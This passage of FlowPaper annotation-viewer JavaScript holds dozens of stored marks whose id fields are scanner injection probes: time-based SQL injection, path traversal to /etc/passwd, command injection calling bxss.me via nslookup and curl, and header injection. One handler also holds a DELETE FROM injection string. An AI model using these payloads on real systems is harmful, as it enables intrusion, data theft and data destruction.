',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'HWiFJQhB')) OR 351=(SELECT 351 FROM PG_SLEEP(15))--',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'UZQ5TgOM',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'c007f4cb-c7df-1f01-d940-259f912f3623'"()&%',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '-1 OR 2+315-315-1=0+0+0+1 -- ',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '-1 OR 2+52-52-1=0+0+0+1',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '-1' OR 2+178-178-1=0+0+0+1 -- ',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '@@yEOZl',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '-1' OR 2+349-349-1=0+0+0+1 or 'vnJg9H53'='',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '1'"',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'if(now()=sysdate(),sleep(15),0)',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '-1" OR 2+980-980-1=0+0+0+1 -- ',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '1 waitfor delay '0:0:15' -- ',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'xiGLKnB1'; waitfor delay '0:0:15' -- ',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'ZnpKPo3N' OR 953=(SELECT 953 FROM PG_SLEEP(15))--',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'c007f4cb-c7df-1f01-d940-259f912f3623',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '1DXezEM45nO',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'W4kZINY5',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '"+response.write(9558049*9190648)+"',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'response.write(9558049*9190648)',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : ''+response.write(9558049*9190648)+'',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '../../../../../../../../../../../../../../windows/win.ini',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '../../../../../../../../../../../../../../etc/passwd',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'file:///etc/passwd',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '(nslookup -q=cname hitirwumwpfty64e6f.bxss.me||curl hitirwumwpfty64e6f.bxss.me))',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'c007f4cb-c7df-1f01-d940-259f912f3623%0abcc:009247.4603-107448.4603.88d8d.19994.2@bxss.me',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'bfg5516%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5516',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '../c007f4cb-c7df-1f01-d940-259f912f3623',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'c007f4cb-c7df-1f01-d940-259f912f36239516608',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'to@example.com>%0d%0abcc:009247.4603-107449.4603.88d8d.19994.2@bxss.me',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '|echo jndcuj$()\ clftow\nz^xyu||a #' |echo jndcuj$()\ clftow\nz^xyu||a #|" |echo jndcuj$()\ clftow\nz^xyu||a #',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'echo syrunf$()\ upjokx\nz^xyu||a #' &echo syrunf$()\ upjokx\nz^xyu||a #|" &echo syrunf$()\ upjokx\nz^xyu||a #',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'bfgx6840%C0%BEz1%C0%BCz2a%90bcxhjl6840',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '&echo sniina$()\ myziap\nz^xyu||a #' &echo sniina$()\ myziap\nz^xyu||a #|" &echo sniina$()\ myziap\nz^xyu||a #',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '&nslookup -q=cname hitlemltqwynh84549.bxss.me&'\"`0&nslookup -q=cname hitlemltqwynh84549.bxss.me&`'',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : ''.gethostbyname(lc('hitve'.'tgwjsdpnb1268.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(78).chr(106).chr(83).'',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '&(nslookup -q=cname hitigsjoylefxa7d2e.bxss.me||curl hitigsjoylefxa7d2e.bxss.me)&'\"`0&(nslookup -q=cname hitigsjoylefxa7d2e.bxss.me||curl hitigsjoylefxa7d2e.bxss.me)&`'',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : ';(nslookup -q=cname hitrsfhfiuykoef6bd.bxss.me||curl hitrsfhfiuykoef6bd.bxss.me)|(nslookup -q=cname hitrsfhfiuykoef6bd.bxss.me||curl hitrsfhfiuykoef6bd.bxss.me)&(nslookup -q=cname hitrsfhfiuykoef6bd.bxss.me||curl hitrsfhfiuykoef6bd.bxss.me)',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '".gethostbyname(lc("hitzq"."orkwawbe9e297.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(67).chr(112).chr(66)."',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'c007f4cb-c7df-1f01-d940-259f912f3623'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : '(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});$FlowPaper('documentViewer').addMark({id : 'c007f4cb-c7df-1f01-d940-259f912f3623'"()&%',type : 'note',note : '',positionX : -255.9375,positionY : -37,width : 170,height : 150,pageIndex : 1 ,collapsed : false,readonly : false,color : '',points : '',displayFormat : 'html',author : 'Anonymous'});append_log('Loaded 88 mark(s) from the database');
});
$author = 'Anonymous';
jQuery('#documentViewer').bind('onMarkCreated',function(e,mark){
mark.author = $author;
$.ajax({
url: "services/annotations/create_mark.php",
data : {
'DOCUMENT_FILENAME' : startDocument,
'DOCUMENT_PATH' : '70/79/77/',
'MARK' : JSON.stringify(mark, null, 2)
},
context: document.body,
type: 'POST',
success: function(data){
if(data=="1"){ // mark created
append_log(String.format('New mark saved in database (id:{0})',mark.id));
}
if(data=="0"){ // failed creating mark
append_log('Failed saving new mark to database');
}
}
});
});
jQuery('#documentViewer').bind('onMarkDeleted',function(e,mark){
$.ajax({
url: "services/annotations/delete_mark.php",
data : {
'DOCUMENT_FILENAME' : startDocument,
'DOCUMENT_PATH' : '70/79/77/',
'MARK' : JSON.stringify(mark, null, 2)
},
context: document.body,
type: 'POST',
success: function(data){
if(data=="1"){ // mark created
append_log(String.format("deleted mark from database (id:{0})",mark.id));
}
if(data=="0"){ // failed creating mark
append_log(String.format("failed deleting mark from database (id:{0})",mark.id));
}
}
});
});
jQuery('#documentViewer').bind('onMarkChanged',function(e,mark){
if(mark.note && !(typeof mark.note == "string")){
mark.note = ''+mark.note.find("note").parent().html()+'';
}
mark.selection_text = "'';DELETE FROM m WHERE true--";
$.ajax({
url: "services/annotations/change_mark.php",
data : {
'DOCUMENT_FILENAME' : startDocument,
'DOCUMENT_PATH' : '70/79/77/',
'MARK' : JSON.stringify(mark, null, 2)
},
context: document.body,
type: 'POST',
success: function(data){
if(data=="1"){ // mark created
append_log(String.format('Mark updated in database (id:{0})',mark.id));
}
if(data=="0"){ // failed creating mark
append_log('Failed updating mark in database');
}
}
});
});
jQuery.get((!window.isTouchScreen)?'UI_flowpaper_desktop_flat.html':'UI_flowpaper_mobile.html',
function(toolbarData) {
$('#documentViewer').FlowPaperViewer(
{ config : {
DOC : escape(getDocumentUrl(startDocument)),
Scale : 1,
ZoomTransition : 'easeOut',
ZoomTime : 1,
ZoomInterval : 0.25,
FitPageOnLoad : false,
FitWidthOnLoad : (!window.isTouchScreen)?false:true,
FullScreenAsMaxWindow : false,
ProgressiveLoading : false,
MinZoomSize : 0.2,
MaxZoomSize : 5,
SearchMatchAll : false,
InitViewMode : 'Portrait',
RenderingOrder : 'html,html',
ViewModeToolsVisible : true,
ZoomToolsVisible : true,
NavToolsVisible : true,
CursorToolsVisible : true,
SearchToolsVisible : true,
StickyTools : true,
Toolbar : toolbarData,
BottomToolbar : 'UI_flowpaper_annotations.html',
DocSizeQueryService : 'services/swfsize.php?doc=' + startDocument,
PrintFn : function(){saveAnnotatedPDF(true)},
JSONDataType : 'jsonp',
key : '@1174faedec54443e5c2$c5e9243fc4864fd627c',
localeChain: 'en_US'
}}
);
});